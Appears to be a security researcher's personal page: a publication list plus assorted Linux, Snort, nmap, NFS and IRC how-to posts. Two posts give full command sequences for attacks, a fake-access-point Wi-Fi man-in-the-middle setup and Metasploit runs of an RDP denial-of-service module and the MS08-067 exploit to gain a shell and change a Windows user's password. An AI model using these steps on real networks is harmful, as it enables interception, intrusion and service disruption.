Research Publications

Research Publications:

A Measurement Study of the Content Security  Policy on Real-World Applications  [PDF]
Kailas Patil and Braun Frederik
International Journal of Network Security (IJNS),
Vol.18, No.2, PP.383-392, Mar. 2016


Towards Fine-Grained Access Control in JavaScript Contexts  [PDF]
Kailas Patil, Xinshu Dong, Xiaolei Li, Zhenkai Liang, and Xuxian Jiang.
In the 31st IEEE International Conference on Distributed Computing Systems (ICDCS),
ISSN : 1063-6927
E-ISBN : 978-0-7695-4364-2
Print ISBN: 978-1-61284-384-1
DOI: 10.1109/ICDCS.2011.87


Survey on Access Control Mechanism in Android  [PDF]
Shekhar K. Shende, Kailas R. Patil
International Journal of Electrical, Electronics and Computer Systems (IJEECS),
ISSN (Online): 2347-2820, Volume -3, Issue-4 2015


Survey on Privacy Preserving Mobile Health Monitoring System using  Cloud Computing [PDF]
Abhijeet S. Kurle,  Kailas R. Patil
International Journal of Electrical, Electronics and Computer Systems (IJEECS)
ISSN (Online): 2347-2820, Volume -3, Issue-4 2015


Poster: UserCSP-User Specified Content Security Policies [PDF]
Kailas Patil, T Vyas, F Braun, M Goodwin, Z Liang
In the proceedings of the Symposium On Usable Privacy and Security (SOUPS), 2013

How to convert a .rpm file into a .deb file

To convert a .rpm file into a .deb file you need following packages:

 $ sudo apt-get install -y rpm alien libnuma1

Now the next step is to convert all the rpm files in the current folder into deb file format, and then install them with dpkg.  Create a shell file rpmtodeb.sh and write follwing lines into it.

#/bin/bash
 for f in *.rpm; do
   fakeroot alien --to-deb $f
 done
 for f in *.deb; do
   sudo dpkg -i $f
 done

Now, change the shell file permissions to make it executable

$ sudo chmod 777  rpmtodeb.sh

Run the shell file to start the conversion

$ sh rpmtodeb.sh

latexdiff a diff tool for Latex documents

IMHO, If you want a diff of two latex file then latexdiff is a reliable tool to do that.
It also supports included .tex files in the main operating file.

To install latexdiff:
$ sudo apt-get install latexdiff

Invoke latexdiff using following command:
$ latexdiff  --flatten  /path/to/old-version/main.tex   /path/to/new-version/main.tex  >  difffile.tex

(the --flatten argument is used to recursively get inputs from any included .tex files.)

To generate PDF file use following commands:
$ pdflatex difffile
$ bibtex difffile
$ pdflatex difffile

Hope this helps!

Steps To add Repositories in kali

Open Terminal

type:
nano /etc/apt/sources.list

Copy the links below and replace with the displayed links in the File.

deb http://http.kali.org/ /kali main contrib non-free
deb http://http.kali.org/ /wheezy main contrib non-free
deb http://http.kali.org/kali kali-dev main contrib non-free
deb http://http.kali.org/kali kali-dev main/debian-installer
deb-src http://http.kali.org/kali kali-dev main contrib non-free
deb http://http.kali.org/kali kali main contrib non-free
deb http://http.kali.org/kali kali main/debian-installer
deb-src http://http.kali.org/kali kali main contrib non-free
deb http://security.kali.org/kali-security kali/updates main contrib non-free
deb-src http://security.kali.org/kali-security kali/updates main contrib non-free
deb http://repo.kali.org/kali kali-bleeding-edge main


Press Ctrl+x then press Enter
Then it will ask for file name....just press Enter

Then in terminal type:
apt-get update

Task Accomplished.

By: QJ

Man-in-the-Middle (MITM) Attack using Wireless Bridging on Kali Linux

In this tutorial we will perform MITM attack.
To perform Man-in-the-Middle (MITM) attack, we will create a fake access point on or laptop and monitor traffic of victim users connected to our laptop. We forward traffic of victim users to the servers therefore, they will be able to access resources on the network. Whereas all there access occurs through our laptop, hence we will be able to see all their communications.

Steps to perform MITM attack:

1. First check for wireless devices on your computer.
$ airmon-ng

2. Now create a Wireless monitoring interfaces:
$ airmon-ng start wlan0

3. Monitor what's on the wireless network such as access points in the neighborhood, wireless devices, channel used, etc
$ airodump-ng mon0

4. Create and launch our own access point (fake access point)
$ airbase-ng --essid VIIT -c 11 mon0
SSID of our access point will be "VIIT" and it is running on channel 11.

5. Verfiy details of logical access point interface
$ ifconfig at0

6. Create a bridge interface
$ brctl addbr myBridge

7. Now, associate real interfaces (eth0 and at0) to bridge interfaces
$ brctl addif myBridge eth0
$ brctl addif myBridge at0

8. Verfiy details of new bridge interface
$ brctl show

9. Remove the IP address of eth0 and at0 interfaces
$ ifconfig eth0 0.0.0.0 up
$ ifconfig at0 0.0.0.0 up

10. Assign IP address to bridge interface we have created earlier. You can use your old eth0 IP address or assign any IP free address on your network
$ ifconfig myBridge 10.10.10.1/8 up

11. Enable IP forwarding on your computer. In other word, your computer will work as a router. IT will perform NATing.
$ echo 1 > /proc/sys/net/ipv4/ip_forward

12. Now use Wireshark tool and monitor traffic of users associated with your fake wireless Access point.

Python script to convert JSON file into CSV file for easy uploading on MySQL database

This tutorial show how to use a python script that converts a JSON file data into a CSV file. And how to export CSV file data into Sqlite database using a python script.

The JSON file data is stored in the following format:

{"URL": "http://www.zoovision.com/apps-tv.html", "headerName": null, "Domain": "www.zoovision.com", "headerValue": null},
{"URL": "https://support.google.com/zagat/", "headerName": null, "Domain": "support.google.com", "headerValue": null},


Python Script File to convert a JSON file data into a CSV file: (json2csv.py)

import fileinput
import json
import csv
import sys

l = []
for line in fileinput.input():
    l.append(line)
myjson = json.loads(''.join(l))
keys = {}
for i in myjson:
    for k in i.keys():
        keys[k] = 1
mycsv = csv.DictWriter(sys.stdout, fieldnames=keys.keys(),
                       quoting=csv.QUOTE_MINIMAL)
mycsv.writeheader()
for row in myjson:
    mycsv.writerow(row)


$ python json2csv.py  fx23.json > out.csv

After executing above command, the output in the CSV file will be as follows:
http://www.zoovision.com/apps-tv.html,,www.zoovision.com,
https://support.google.com/zagat/,,support.google.com,

Now Suppose, You want to append a string at the end of each line. In other words, You want to add one more column to the CSV file, then following awk command can be used:

$ awk -F"," 'BEGIN { OFS = "," } {$4="Fx23,"; print}' out.csv  >  output.csv

It will produce output as follows:
http://www.zoovision.com/apps-tv.html,,www.zoovision.com,Fx23,
https://support.google.com/zagat/,,support.google.com,Fx23,


Python Script file to convert CSV file data into Sqlite Database: (csv2sqlite.py)

import csv, sqlite3
conn = sqlite3.connect("mydbrecord.sqlite")
curs = conn.cursor()
curs.execute("CREATE TABLE PCFC ( id INTEGER PRIMARY KEY, url TEXT, headerName TEXT, domain TEXT, headerValue TEXT, userAgent Text);")
counter = 1
reader = csv.reader(open('output.csv', 'r'), delimiter=',')
for row in reader:
    to_db = [counter, unicode(row[0], "utf8"), unicode(row[1], "utf8"), unicode(row[2], "utf8"), unicode(row[3], "utf8")]
    curs.execute("INSERT INTO PCFC (id, url, headerName, domain, headerValue) VALUES (?, ?, ?, ?, ?);", to_db)
    counter += 1
conn.commit()

Save above file and run following command to create a database.

$ python csv2sqlite.py

It will create a Sqlite database file with name mydbrecord.sqlite in the current working directory. 

Tutorial to Configure and Use Snort IDS on Windows XP

This tutorial explain steps to configure Snort on Widnows XP machine and how to use it for detection of attacks.


Steps:
1. Download Snort from "http://www.snort.org/" website.

2. Also download Rules from the same website. You need to sign up to get rules for registered users.
3. Click on the Snort_(version-number)_Installer.exe file to install it. By-default it will install snort in the "C:\Snort" directory.

4. Extract downloaded Rules file: snortrules-snapshot-(number).tar.gz

5. Copy all files from the "rules" directory of the extracted folder and paste them into "C:\Snort\rules" directory.

6. Copy "snort.conf" file from the "etc" directory of the extracted folder and paste it into "C:\Snort\etc" directory. Overwrite existing file if there is any.

7. Open command prompt (cmd.exe) and navigate to directory "C:\Snort\bin" directory.

8. To execute snort in sniffer mode use following command:
   snort -dev -i 2
   -i indicate interface number.
  -dev is used to run snort to capture packets.

  To check interface list use following command:
  snort   -W

9. To execute snort in IDS mode, we need to configure a file "snort.conf" according to our network environment.

10. Set up network address  we want to protect in snort.conf file. To do that look for "HOME_NET" and add your IP address.
   var HOME_NET 10.1.1.17/8

11. You can also set addresses or DNS_SERVERS, if you have any. otherwise go to the next step.

12. Change RULE_PATH variable with the path of rules directory.
    var RULE_PATH c:\snort\rules
13. Change the path of all libraries with the name and path on your system. or change path of snort_dynamicpreprocessor variable.
     sor file C:\Snort\lib\snort_dynamiccpreprocessor\sf_dcerpc.dll
    You need to do this to all library files in the "C:\Snort\lib" directory. The old path might be something like: "/usr/local/lib/...". you need to replace that path with you system path.

14. Change path of the "dynamicengine" variable value in the "snort.conf" file with the path of your system.  Such as:
  dynamicengine C:\Snort\lib\snort_dynamicengine\sf_engine.dll

15 Add complete path for "include classification.config" and "include reference.config" files.
   include c:\snort\etc\classification.config
   include c:\snort\etc\reference.config

16. Remove the comment on the line to allow ICMP rules, if it is alredy commented.
    include $RULE_PATH/icmp.rules

17. Similary, remove the comment of ICMP-info rules comment, if it is already commented.
    include $RULE_PATH/icmp-info.rules

18 To add log file to store alerts generated by snort, search for "output log" test and add following line:
   output alert_fast: snort-alerts.ids

19.  Comment whitelist $WHITE_LIST_PATH/white_list.rules and blacklist $BLACK_LIST_PATH/black_list.rules lines.  Also ensure that you add change the line above $WHITE_LIST_PATH
Change nested_ip inner , \  to nested_ip inner #, \

20. Comment following lines:
#preprocessor normalize_ip4
#preprocessor normalize_tcp: ips ecn stream
#preprocessor normalize_icmp4
#preprocessor normalize_ip6
#preprocessor normalize_icmp6

21. Save the "snort.conf" file and close it.

22. Go to the "C:\Snort\log" directory and create a file: snort-alerts.ids

23. To start snort in IDS mode, run following command:
     snort -c c:\snort\etc\snort.conf -l c:\snort\log -i 2 

   Above command will generate log file that will not be readable without using a tool. To read it use following command:
  C:\Snort\Bin\> snort -r ..\log\log-filename

To generate Log files in ASCII mode use following command while running snort in IDS mode:
     snort -A console -i2 -c c:\Snort\etc\snort.conf -l c:\Snort\log -K ascii

24. Scan the computer running snort from another computer using PING or launch attack. Then check snort-alerts.ids file the log folder.

You can also download my modified snort.conf file here. It works with Snort_2_9_5_Installer.exe

How to Find Email Address Source?

You might receive a lot of emails from your friends. In this tutorial we will learn how to verify that the email you received is actually from your friend and not a fake email. Attackers can easily send fake email using websites such as "emkei.cz".

Steps:
1. Select an email that you want to trace.
2. Get its full headers. For example in GMail you need to click "More" options button next to "reply" button and select "Show original" option.
3. Copy all headers from top till the To field.
4. Open either "http://whatismyipaddress.com/trace-email" and paste headers into the headers text-area.
5. Click on the "Get Source" button to get IP address of the source.
6. You can use WhoIs service (http://whois.net/) to get more information about IP address. Copy paste IP address found in the step 5 and Click on the "Go" button to get more information about the source of the IP address.

Nmap usage to perform Vulnerability Assesments

NSE Documentation Portal [http://nmap.org/nsedoc/] provides a detail guide on nmap scripts usage.

Using nmap Scripts we can perform vulnerability assessments. 

In this tutorial I will show a few examples of nmap scripts. 

1. "smb-check-vulns" script to check Windows RPC vulnerabilities. 
Checks for vulnerabilities:

• MS08-067, a Windows RPC vulnerability
• Conficker, an infection by the Conficker worm
• Unnamed regsvc DoS, a denial-of-service vulnerability I accidentally found in Windows 2000
• SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
• MS06-025, a Windows Ras RPC service vulnerability
• MS07-029, a Windows Dns Server RPC service vulnerability

Example:

$ nmap --script smb-check-vulns.nse -p445 <targetHostIP>

Or

$ sudo nmap  --script smb-check-vulns.nse --script-args=unsafe=1 -p445 <targetHostIP>

Output:

Host script results:| smb-check-vulns:
| MS08-067: NOT VULNERABLE| Conficker: Likely CLEAN| regsvc DoS: regsvc DoS: NOT VULNERABLE| SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE| MS06-025: NO SERVICE (the Ras RPC service is inactive)|_ MS07-029: NO SERVICE (the Dns Server RPC service is inactive)

2. "nbstat" script to retrieve the target's NetBIOS names and MAC address.

By default, the script displays the name of the computer and the logged-in user; if the verbosity is turned up.

Example:

$ sudo nmap -sU --script nbstat.nse -p137 10.15.10.30

Output: 

Host script results:

| nbstat:  

|   NetBIOS name: IT-FS, NetBIOS user: <unknown>, NetBIOS MAC: 1c:6f:65:91:19:96

|   Names

|     IT-FS<00>            Flags: <unique><active>

|     IT-FS<20>            Flags: <unique><active>

|     IT-DEPT<00>          Flags: <group><active>

|     IT-DEPT<1c>          Flags: <group><active>

|     IT-DEPT<1e>          Flags: <group><active>

|     IT-DEPT<1d>          Flags: <unique><active>

|     \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>

|_    IT-DEPT<1b>          Flags: <unique><active>

3. "upnp-info" script to extract system information from the UPnP service.

Example:

$ nmap -sV -sC 10.15.10.30

Output:

Host script results:
|_nbstat: NetBIOS name: IT-FS, NetBIOS user: <unknown>, NetBIOS MAC: 1c:6f:65:91:19:96
| smb-os-discovery:  
|   OS: Windows Server 2003 3790 (Windows Server 2003 5.2)
|   Name: IT-DEPT\IT-FS
|_  System time: 2013-07-19 14:41:14 UTC+5.5
|_smbv2-enabled: Server doesn't support SMBv2 protocol

Creating a patch to checked-in for Mozilla

To create a patch that can be easily checked-in by others make following settings on your computer.

Create .hgrc file in HOME directory (such as "/home/username"), if its not already created. Add following code to it.

[ui]
username=yyyy@xxxxx.zzz

[defaults]
diff = -p -U 8
qdiff = -p -U 8
qnew = -U

[diff]
git=1
showfunc=1
unified=8

[extensions]
mq =


Save file and close it.

To generate a patch on HG (mercurial) repository:
$ hg diff  >  patchfilename

Discarding all local changes done in the HG (mercurial) repository:
$ hg revert -a


Use Mercurial Queuing extension to generate a patch for checked in:
# setup the patch queue directory (Deprecated in 1.5)
hg qinit

# create a new patch named firstpatch
hg qnew firstpatch

# edit some files
vi filename

# update the patch to contain your changes
hg qrefresh -m "Bug XXXXX - Testing message that goes with patch"

# vi .hg/patches/firstpatch to see the result
# print the current patch to the screen
hg qdiff

# make some more changes
vi filename

# see the differences not yet stored in the patch
hg diff

# update the patch
hg qrefresh

# Look at the patches you have applied
# Look at all the patches in the queue
hg qapplied
hg qseries

# remove the top patch
hg qpop

# apply the patch again
hg qpush

# remove all patches
hg qpop -a

# apply all patches
hg qpush -a

# Output all applied patches as a single patch
hg diff -r qparent:qtip

# update the commit message on a patch
hg qrefresh -m "New Message"

# Convert all applied patches into permanent changesets
hg qfinish -a

Patch to Upload on Bugzilla:
It is available in the following folder location:
/your_repository_folder/.hg/patches/

Or you can also use following command ot generate a patch to upload:
hg export qtip  > path_to_temp_patches/patchFileName.patch

Metasploit Usage for Exploitation

This tutorial is very general and I will continue updating it whenever I will find exploits and time to update this post.

1. If 3389/tcp  ms-term-serv is open then using metasploit you can cause remote machine to reboot or stop this service.

$ msfconsole 
msf > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
msf  auxiliary(ms12_020_maxchannelids) > set RHOST target-IP-Address
msf  auxiliary(ms12_020_maxchannelids) > exploit

Now rescan target computer, you will find that the ms-term-serv service is disabled.

2. Hacking Windows XP SP2/SP3 and get administrator access of the system. (Following exploit attacks on port 445)

$msfconsole
msf> use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST target-IP-Address
msf exploit(ms08_067_netapi) > exploit
meterpreter > shell

C:\Windows\System32\> net user
C:\Windows\System32\>  net user  userName password

OpenVAS Statup script for Kali linux

Following simple commands are useful to start openVAS on Kali linux.

Create a file "script.sh" and copy paste following contents:

#!/bin/bash

## Script by PATIL Kailas
echo -e "Script to run openVAS by PATIL Kailas.\n"

##Setting up nvt sync
echo "Syncing NVT Database..."
openvas-nvt-sync

#echo "Updating SCAP Data Feed"
#openvas-scapdata-sync

#echo "Updating CERT Feed.."
#openvas-certdata-sync

## Starting Services

echo "Starting OpenVAS Services..."

/etc/init.d/./greenbone-security-assistant start

/etc/init.d/./openvas-scanner start

/etc/init.d/./openvas-administrator start

/etc/init.d/./openvas-manager start

echo -e "Services Started!\nPlease Login via the Web UI @ https://127.0.0.1:9392 and confirm the secuity exception. \nDefault Username is admin and the password is the one you created during setup.\n"

echo -e "Launching WebUI \n"

gnome-open https://127.0.0.1:9392


Save file and run it whenever you want to use openVAS. 

Format Pen Drive (PD) or USB Drive on Ubuntu from Terminal

To format a Pend drive from terminal use following steps:
1. First of all connect your pen drive to computer and type the below command for know the name of your  USB drive.

$ dmseg  | tail

It will generate output as follows:


[20940.808432]  sdb: sdb1

[20940.811241] sd 7:0:0:0: [sdb] Attached SCSI removable disk

2. Now unmount your pen drive using the following command:

$ sudo umount /dev/sdb1

3. Then enter the following command to format your pen drive with FAT32 partition.

$ sudo mkfs.vfat -n 'Ubuntu' -I /dev/sdb1

Ubuntu 12.04 fresh installation failed to install GRUB

Ubuntu 12.04 LTS fresh installation even though completed successfully it might fail to install grub correctly on system.  In such a situation to install grub you can follow following steps using LiveCD or bootable installation disk.

Boot from LiveCD, open terminal and run following commands to note down drive and partition number on which Ubuntu is installed.

$sudo fdisk -l
OR
$sudo df -h

$sudo blkid   #it gives more information on partition and file system type

Now mount hard disk partition on which Ubuntu is installed.
$sudo  mount  /dev/saXY   /mnt   
Where X is drive letter such as a,b,c,, etc. and
Y is partition number such as 1, 5, 6, 8, etc,

For example:
  sudo mount /dev/sda8 /mnt

Now install grub loader.
$sudo  grub-install  --boot-directory=/mnt/boot    /dev/sdX   
For example:
  sudo grub-install --boot-rectory=/mnt/boot /dev/sda

--boot-directory is folder in which GRUB is located. It is normally /boot. Note that in above command we only provided sdX as input. We didn't use Y i.e. partition number.

In command prompt, do not install grub loader when your are inside the /mnt directory or the directory where your target hard disk is mounted.  It doesn't work sometime.

Being prompted for Password for '(null)' GNOME keyring

You can commit your project using subversion as follows:

svn commit -m “Your comment message goes here ”  - - username <yourusername>

Then the following prompt should be displayed to you for committing your project successfully…

Password for ‘<yourusername>’:

For this password, you should provide your <yourusername> password assigned to you while hosting your project.

First time commit to your project using svn commit will work properly.

However for subsequent commit to your project, you can get the prompt like...

Password for ‘(null)’ GNOME keyring:

The reason for above error message  is multiple keyrings are present on a users system. All users will have a default keyring, and another which is only stored in memory. For each commit, gnome-keyring stores the user details in another keyring. 

To disable keyring, open the config file in the subversion from the home folder as follows:

patilkr@patilkr-desktop:~$ cd .subversion/
patilkr@patilkr-desktop:~$ ls
auth  config  README.txt  servers

Open the ‘config’ file with any text editor,
patilkr@patilkr-desktop:~/.subversion$ gedit config
Inside the text file, look for the line ‘password-stores = no’ under ‘[auth]‘ section and uncomment it & remove the value ‘no’ for it to look like ‘password-stores = ‘. 
Then, save and close config file.
Finally, open another file named ‘servers’ in any text editor,
patilkr@patilkr-desktop:~/.subversion$ gedit servers
Inside the text file, look for the line ‘store-passwords = no’ under ‘[global]‘ section and just uncomment it. 
Then, save and close ‘servers’ file.

User Specified Content Security Policy

A Content Security Policy is a declarative policy that restricts what content can load on a page.  Its primary purpose is to mitigate Cross-Site Scripting vulnerabilities.  The core issue exploited by Cross-Site Scripting (XSS) attacks is the lack of knowledge in web browsers to distinguish between content that’s intended to be part of web application, and content that’s been maliciously injected into web application.

To address this problem, CSP defines the Content-Security-Policy HTTP header that allows web application developers to create a whitelist of sources of trusted content, and instruct the client browsers to only execute or render resources from those sources.  However, it is often difficult for developers to write a comprehensive Content Security Policy for their website.  They may worry about breaking their page by blocking unanticipated but necessary content.  They may not be able to easily change the CSP header for their site, which makes it challenging for them to experiment with policies until they find one that best protects their page without breaking site functionality.

UserCSP changes this!  A developer can now view the current policy applied to their site and create their own custom policy.  They can choose to apply their custom policy on the site, or even combine their policy with the website’s existing policy.  When combining policies, they have an option to choose from the strictest subset of the two, or the most lax subset.  They can locally test their site with the custom policy applied and tweak the policy until they have one that works.

The coolest feature of UserCSP is the Infer-CSP tab.  This feature can help a developer derive a usable and secure policy for their site.  By looking at the content the website loads, the add-on determines the strictest set of CSP rules it can apply to the site without breaking the current page.  The inferred policy is provided in the proper syntax for the CSP Header, so all a developer needs to do is start serving this policy for their site via the CSP header.

Please visit Tanvi's Blog on Mozilla for more information. 

Configure NFS on Ubuntu

Network File System (NFS) is useful to share space on other computers.

In this scenario we are going to configure NFS server on 10.1.1.15 host and NFS client on 10.1.1.17 machine.

1. Prerequisites
    Install nfs-common package on both NFS client and NFS server using following command.

     $ sudo apt-get install nfs-common

Additionally we need to install extra package on NFS server (10.1.1.15)

    $ sudo apt-get install nfs-kernel-server

This package is the actual NFS daemon listenning on both UDP and TCP 2049 ports. And portmap should be waiting for instructions on a port 111.

2. Create NFS Share on NFS Server (10.1.1.15)
Create a directory to share on NFS server(10.1.1.15).

Run following command on NFS server.

   $ mkdir /home/kailas

3. Apply Access Control Rules

In our scenario we want only 10.1.1.17 to access the nfs share.

Therefore, open /etc/exports file in any text editor (such as vi, gedit, or emacs) on NFS server (10.1.1.15).

Add following line in (/etc/exports) file.

A. Read/Write Permissions

    /home/kailas/     10.1.1.17(rw,sync)

Above line specifies that export /home/kailas directory for host with IP 10.1.1.17 with read, write permissions, synchronized mode.


B. Only Read Permissions

If you don't want to give write permission and only want to give read permission to client (10.1.1.17) then instead of above line use following line.

    /home/kailas/     10.1.1.17(ro,sync)

C. Read/Write + Root privileges

  /home/kailas/    10.1.1.17(rw,sync,no_root_squash)

Above line in "/etc/exports" file will export /home/kailas directory for host with an IP address 10.1.1.17 with read, write permissions, synchronized mode and the remote root user will be treated as a root and will be able to change any file and directory.

D. Read/Write Privilege to all computers on network

 /home/kailas/     *(rw,sync)

Above line indicates, export /home/kailas directory for any host with read, write permissions and synchronized mode.


E. Read Privilege to All computers on network

   /home/kailas/     *(ro,sync)

Above line indicates, export /home/kailas directory for any host with read only permissions and synchronized mode.


3. Restart NFS daemon

Use following command on Ubuntu to restart NFS service.

$ sudo /etc/init.d/nfs-kernel-server restart 

Note: After any modification you will made  in "/etc/exports" file please restart NFS service to reflect your changes. 


4. Mount NFS directory on client (10.1.1.17) machine

NFS client needs portmap service, simply install nfs-comman package on client (10.1.1.17)

   $ sudo apt-get install nfs-common


Make sure portmap service is running:
  $ sudo service portmap status

Sample outputs:
  portmap start/running, process 4193

If not just start it:
    $ sudo service portmap start

Create a mount directory on Client (10.1.1.17)
  $ sudo mkdir /nfs

$ sudo  mount  10.1.1.15:/home/kailas   /nfs/

To see the content of the directory use following command.
 $ ls /nfs


5. Configure automount

To make this completely transparent to end users, you can automount the NFS file system every time a user boots a Linux system. Simply edit "/etc/fstab" to mount system automatically during a system boot. You can use your favorite editor and create new line like this within /etc/fstab:

10.1.1.15:/home/kailas   /nfs/  nfs  defaults  0  0


 6. Appendix

If above steps doesn't work then please try to stop iptables or configure iptable rules to allow nfs communication.

# service iptables stop

IRC command help

The goal of this post is to play with some IRC commands.

To Register your nickname:
/msg nickserv register [password] [your@email.address.com]
You should substitute an actual password for [password] and actual email address for [your@email.address.com].  You don't need the "["brackets"]".

To identify yourself to IRC nickserv:
If your nickname is registered you can use the following command to identify to it (ensure your current nickname is that of the one you want to identify to):
/msg nickserv identify [password]
You should substitute an actual password for [password].

There are actually a number of ways to identify to a nickname. You can also identify to a nickname that you are not using at the time.
/nickserv identify [nickname] password

Example:
/nickserv identify PeanutButter ILovePeanutButter

To change your password:
/msg nickserv set password [YourNewPassword]

To enforce users to identify your nickname with password to protect from identity theft:
/msg nickserv set secure ON

To remove nickname currently in use:
If somehow you close your IRC but didn't get a chance to disconnect from server then server believes you are still online and you cannot use it until server recognizes it. Use following command to resolve this problem.
/nickserv ghost [nickname] [password]
For example, if your nickname is "abc123" and password is "xyz123", then command to use is as follows:

/nickserv ghost abc123 xyz123

How do I check if a nickname is registered or identified
To check if a nickname is already registered, or if someone is identified to a nickname, use the command:
   /ns info nickname

How do I change my email address?
/ns set email password email@address repeatemail@address

Somebody is on my nickname - how can I recover it?
First type:
/ns recover yournickame yourpassword

and then type:
/ns release yournickname yourpassword

After this you can just get back on your nickname.

How can I view what channels I have access in?
/ns alist

How do I view information about my nickname?
 /ns info nickname all

Alternatively, you can use following command:
/nickserv info nickname

Example:
/nickserv info PeanutButter


How do I stop people using my nickname?
First ensure that your nickname is registered! To prevent people from using your nickname without identifying to it you must set protection on your nickname. The best settings is to use 'Quick kill', which will give users 20 seconds to identify after which their nickname will be changed. To do this use:

/ns set kill quick



"I forgot my password". How to recover it?
Keep in mind that passwords are CaSe SeNsItIvE.

/nickserv sendpass [nick] [email address]

The email address that you specify must match the email address that we have on file for the nickname in question.

Unable to ping Guest VM in VirtualBox

Suppose you have installed guest OS (such as Windows, Ubuntu, etc) in VirtualBox and want to ping it from host OS then you might not be able to ping it,  if Network adapter is configured as NAT mode adapter in VirtualBox for the VM.

To solve this problem. First shutdown your gust VM. Second, change the Guest VM's network adapter settings of "Attached to" from "NAT" to "Bridged Adapter".  Also change "Name" to "vmnet1" or  any other similar name.

The cause of this problem is, in NAT mode the IP headers of any packets that are going out the guest VM are re-written to match the hosts network settings. But VirtualBox does not do any kind of reverse NAT, not even for packets originating from the host machine.  It only does it for established connections.

Hope this helps!

Email Address verification using Perl script

Checking correctness of one email address is easy and can be done manually, however, if you want to validate a bunch of email addresses then automated script plays a very handy role. 

I would like to thank my colleague and friend "Sai Sathyanarayam" for giving me this script. I think this might be useful for others therefore, I am posting it here. 

# email.pl file

#open "email.txt" file from current directory, 

# email.txt file contains email addresses separated by , (comma) and each address is on new line

open(FILE,"email.txt");

while($line = <FILE> ) {

 

   chomp($line);

    if($line =~ /,/) { $line = $`; }else { print $line." is invalid\n";}

    if ($line =~ /^(\w|\-|\_|\.)+\@((\w|\-|\_)+\.)+[a-zA-Z]{2,}$/)

   {

       print "$line is valid\n"; 

   }

   else {

     print "$line is invalid\n";

   }

}

Sample email.txt file is as follows:

xyz@abc.com,

pqr@mnr.ac.in,

To perform validation test run following command:

$ perl email.pl